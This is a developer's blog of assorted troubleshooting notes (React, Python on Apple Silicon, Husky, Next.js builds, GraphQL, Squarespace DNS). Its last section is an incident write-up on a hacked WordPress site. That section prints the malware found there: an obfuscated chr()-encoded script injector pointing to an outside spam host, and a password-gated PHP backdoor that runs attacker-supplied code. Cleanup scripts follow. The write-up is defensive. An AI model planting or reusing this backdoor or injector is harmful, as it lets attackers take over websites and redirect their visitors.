#solution

Error

ReferenceError: defaultProps is not defined

Solution

Did you forget to import React?

Add import React from 'react' to the top of your file.

Prevent this error in the future

Consider using Typescript for future projects, as it will help you sort out these and many other similar issues.

Problem

If you are using a Mac M1 machine and trying to install some Python libraries using pip, you may encounter this error:

ImportError: dlopen (/Users/.../site-packages/.../...so, 0x0002): tried: '/Users/.../site-packages/.../...so' (mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64'))

This means that the library you are trying to import was compiled for a different architecture than your machine. In this case, the library was built for x86_64 (Intel) and your machine is arm64 (Apple Silicon).

This is annoying because you can very specifically make sure the arm64 version is installed and still get this error on certain dependencies, AND it doesn’t show up until you try to call the code. Boo!

Solution

One possible solution is to install the library directly from GitHub using pip. For example, if you are having trouble with hnswlib, you can try this:

git clone https://github.com/nmslib/hnswlib.git
cd hnswlib
pip install .

This will clone the repository and install it from source, which should compile it for your machine’s architecture. You can do this for any library that has a GitHub repository and a setup.py file. (Because, obviously, as you try to fix your environment issues you will inevitably create more issues.)

As a second example, for the library lxml, you can try:

git clone https://github.com/lxml/lxml.git     
cd lxml   
pip install .

Conclusion

I hope this helps you solve this annoying error and enjoy using Python on your Mac M1 machine. Happy coding! 😊

Problem

When you try to commit files in Tower, you can run into issues if you have Husky pre-commit hooks installed in your project but not globally on your machine.

Solution

If you don’t want to install Husky globally, you can do the following:

Go to your home directory (wherever your .bashrc file is located, for example), and create a new file called .huskyrc.

Inside .huskyrc, write this:

PATH="/usr/local/bin:$PATH"

This should help Tower use Husky to run some pre-commit type-checking, or whatever it is you want to do!

Problem

I almost always have problems building my Next.js app locally (which almost always means I’ll have problems deploying it). Sometimes you just need to temporarily delete all your /pages/ except your /pages/api/ routes.

If you are getting some kind of FetchError: invalid json response body, it means there is an error getting results from your API endpoint. If you Next app is trying to build a page before the entire deploy has completed, and that page requires a brand new API endpoint you just made, then you run into the problem where you can’t build your app because it needs to use an API endpoint that doesn’t exist on the web yet.

Solution

Whenever you add a new API route, you need to deploy the API route before you deploy the pages that use that route.

If you build your nifty page at the same time, you can just try deploying without any of my /pages/ routes in order to allow the deploy to complete with the API endpoints only. (You could also try only deleting the routes that utilize your new API endpoints, but I haven’t always had success with this approach.)

1. Push to master the final code you would like to see deployed.
2. Delete all your /pages/ routes except the /pages/api/ routes, and push this change to master (in most cases this will trigger a new deploy). If you are building locally, then run yarn build, next build, or whatever your build command is.
3. Revert your most recent commit where you deleted all those /pages/ routes, and push this to master.

This should result in your app successfully deploying, including the new API routes and all the routes that query those endpoints for server-side rendering.

If you have a live app people are relying on, you might want to do this at night! 🌙

Problem

I almost always have problems building my Next.js app locally (which almost always means I’ll have problems deploying it). Sometimes I just need to delete all my /pages/ except my /pages/api/ routes.

Sometimes, though, whatever I do, I just repeatedly hit this error:

> Build error occurred
Error: Export encountered errors on following paths:
...

Confusingly, when I retry building I end up with a different list of error-throwing paths virtually every time.

If you’re bashing your head against the wall trying to figure out why you’re encountering a build error, try this:

Start your local Next.js server using next start or yarn start or npm start (or whatever you use), and then navigate to all of the pages or paths giving you build problems.

Now try building again in another terminal window. In some cases simply building the pages on the fly locally through your development server allows the build to proceed.

Weird, right? (Yes, I know this makes sense to someone.)

The error

The relation field [fieldname] must specify a `@relation` directive: `@relation(name: "MyRelation")`

Why you got this error

You have two fields that have the same value, for example:

user {
    id: ID
    name: String
    currentCompany: UserCompany
    previousCompany: UserCompany
}

This set of graphql query fields has two fields that have the value UserCompany. You have to either indicate a relation between user companies and users, or else create a subtype so they don’t reside at the same level.

Glitch adding SPF verification for Zoho Mail to Squarespace

I was trying to add a TXT record, but the frontend (what I was doing) was not talking to the backend (Squarespace’s own copy of the DNS records). The result was this glitch I recorded.

I’ll add a video recording here.

Every time I tried to add my SPF email verification for Zoho Mail to this Squarespace-controlled domain, there was an unwanted tab character (‘\009’) that I could not eliminate.

You could see this character when I used Google’s online dig tool.

When I deleted the character and saved my changes, it looked like everything was fixed. However, when I backed out of the advanced DNS editor and then loaded it back up, the character was back!

Solving the glitch

In this case, there was nothing I could do immediately to fix the problem. I had to chat with customer service, and “Chris” was very helpful. When it became clear that customer service was as confused as I was, I recorded the video above and sent it in an email.

Normally I wouldn’t register a domain through Squarespace, but my client already had. I have nothing against Squarespace, I just don’t normally use it. My general dislike of most frontend systems was once again confirmed through this experience, but I can’t say anything about making a website with them.

If you run into the same problem as me, I hope this blog post helps you solve it.

Just link to this page when you’re chatting with customer service.

If it helps you out, I’d appreciate a mention on Twitter, or a comment on this page (whenever I get around to adding a comments section to my blog posts!).

Problem: Wordpress Site Hacked and Now Redirects to Spam Site

I have a number of sites hosted on a Bluehost account, and, suddenly, they were all redirecting users to some spam site. Both the subdirectories and my root site seemed to be hit.

Steps to Fix the Problem

1. We tried working with Bluehost. They seemed to fix the problem on their end by deactivating all plugins. However, this obviously broke all of our sites (including client sites!).
2. We began to reactivate plugins one by one on a particular site that we own, to troubleshoot what was causing the problem. As a couple of plugins were reactivated (Thrive Optimize in particular), the spammy redirection suddenly resumed specifically onthe /wp-admin/ route. This meant we couldn’t even undo the accidental activation!
3. We then downloaded our site directory from the public_html folder (this was a sub-directory site) to explore what the problem could be.
   1. We first searched for the URL that the user was being redirected to (https://tron.talkingaboutfirms.ga), but this turned up nothing, as expected.
   2. Then we inspected a number of files that a user might land on while navigating to the site initially, including an index.php file, which said:

<?php
echo chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(32).chr(115).chr(114).chr(99).chr(61).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(116).chr(114).chr(111).chr(110).chr(46).chr(116).chr(97).chr(108).chr(105).chr(107).chr(110).chr(103).chr(97).chr(98).chr(111).chr(117).chr(116).chr(102).chr(105).chr(114).chr(109).chr(115).chr(46).chr(103).chr(97).chr(47).chr(109).chr(97).chr(105).chr(110).chr(46).chr(106).chr(115).chr(63).chr(115).chr(61).chr(53).chr(53).chr(51).chr(38).chr(98).chr(61).chr(50).chr(38).chr(99).chr(105).chr(100).chr(61).chr(49).chr(49).chr(49).chr(52).chr(49).chr(39).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(116).chr(101).chr(120).chr(116).chr(47).chr(106).chr(97).chr(118).chr(97).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(39).chr(62).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62);die();
?>

The PHP function chr() is a character encoding. When this file’s contents are decoded (i.e. the script is executed), the resulting string is:

<[script] src='https://tron.talkingaboutfirms.ga/main.js?s=553&b=2&cid=11141' type='text/javascript'></>

Found it.

The problem is pretty clear. Why is my Wordpress site redirecting to a spam site? This particular hack involved uploading a malicious index.php to every directory it could access, and so any folder you would access would in theory redirect you to the spammy site.

Fix it with Bash

To mass delete these index files in bash, use this hand bash script (credit: Martin Beckett)

find . | xargs grep -l echo chr(60).chr(115).chr(99) | awk '{print "rm "${1}}' > doit.sh

Note: we didn’t have complete success with this script in zshell (on Macs these days).

Fix it with Python

To use this python script, navigate to the directory you want to clean up, (on Mac type cd with a space and then drag in the folder you want to clean up from Finder). Then open Python by typing python. Then paste in this script:

import os
for subdir, dirs, files in os.walk(os.getcwd()): # Note: operates within the current wording directory (cwd) and all subdirectories/files
    for filename in files:
        filepath = subdir + os.sep + filename
 
        with open(filepath) as currentOpenFile:
            try:
                for line in currentOpenFile:
                
                    if 'echo chr(60).chr(115)' in line: # Check if any line in a file contains this string, which is the beginning of the hacked index.php file content
                        os.remove(filepath)
                        print('Removed: {0}'.format(filepath))
            except:
                print('failed on {0}'.format(filepath))

Possible Cause: Thrive Themes Plugins?

As a side-note, this particular vulnerability may be related to a Thrive Themes unused-Zapier-API-key exploit. See source.

Update

Here is the malicious code that was causing the problem (i.e. going through my site directory and creating or updating index.php files everywhere):

if(isset($_POST['zi']) 
    && md5($_POST['zi']) == base64_decode('M2UwZWFhNWFlNGE1NzRjMGYzYjEyOTRmZGQwZTg1ZTQ=') ) {
    $lt = base64_decode($_POST['a']);file_put_contents('lte_','<?php '.$lt);$lt='lte_';
if(file_exists($lt)){
    include($lt);unlink($lt);die();
}
} else {
    echo chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(32).chr(115).chr(114).chr(99).chr(61).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(116).chr(105).chr(99).chr(107).chr(46).chr(116).chr(114).chr(97).chr(118).chr(101).chr(108).chr(105).chr(110).chr(115).chr(107).chr(121).chr(100).chr(114).chr(101).chr(97).chr(109).chr(46).chr(103).chr(97).chr(47).chr(97).chr(110).chr(97).chr(108).chr(121).chr(116).chr(105).chr(99).chr(115).chr(46).chr(106).chr(115).chr(63).chr(115).chr(61).chr(48).chr(55).chr(38).chr(98).chr(61).chr(51).chr(52).chr(53).chr(38).chr(99).chr(105).chr(100).chr(61).chr(55).chr(52).chr(53).chr(55).chr(45).chr(56).chr(53).chr(45).chr(50).chr(51).chr(52).chr(54).chr(55).chr(56).chr(56).chr(45).chr(50).chr(52).chr(39).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(116).chr(101).chr(120).chr(116).chr(47).chr(106).chr(97).chr(118).chr(97).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(39).chr(62).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62);
}

Note: you will want to make sure that you don’t delete index files in their entirety if they are only partly malicious code. Wordpress has important index files you will need to hang onto. If you accidentally delete one of these, you can find them in the Wordpress source code.